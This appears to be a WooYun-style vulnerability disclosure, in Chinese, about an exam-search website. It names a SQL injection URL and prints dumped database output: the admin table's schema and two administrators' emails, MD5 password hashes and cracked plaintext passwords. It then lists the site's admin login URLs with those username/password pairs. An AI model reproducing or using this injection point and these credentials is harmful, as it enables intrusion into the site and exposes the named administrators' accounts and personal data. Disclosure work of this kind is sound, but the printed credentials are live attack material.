WooYun.org

注射点

http://search.zikao.eol.cn/admin/exam_page.php?exam_id=36

Database: zikaosearchnew
[6 tables]
+---------------+
| zikao_admin |
| zikao_exam |
| zikao_plan |
| zikao_school |
| zikao_special |
| zikao_spinfo |
+---------------+
Database: zikaosearchnew
Table: zikao_admin
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| admin_id | int(11) |
| email | varchar(50) |
| passwd | varchar(50) |
| username | varchar(50) |
+----------+--------------------+----------------------------------+----------+
| admin_id | email | passwd | username |
+----------+--------------------+----------------------------------+----------+
| 6 | zhangxj@cernet.com | e10adc3949ba59abbe56e057f20f883e | zhangxj |123456
| 3 | admin@cernet.com | 2a7171502602894660143bde6d6abfcf | root |cernet

最后解密是弱口令，哎，知道的话就先找后台了。。~——~

后台

http://search.zikao.eol.cn/admin1/
root/cernet
zhangxj/123456
http://search.zikao.eol.cn/admin/admincp/

俩个都是后台。。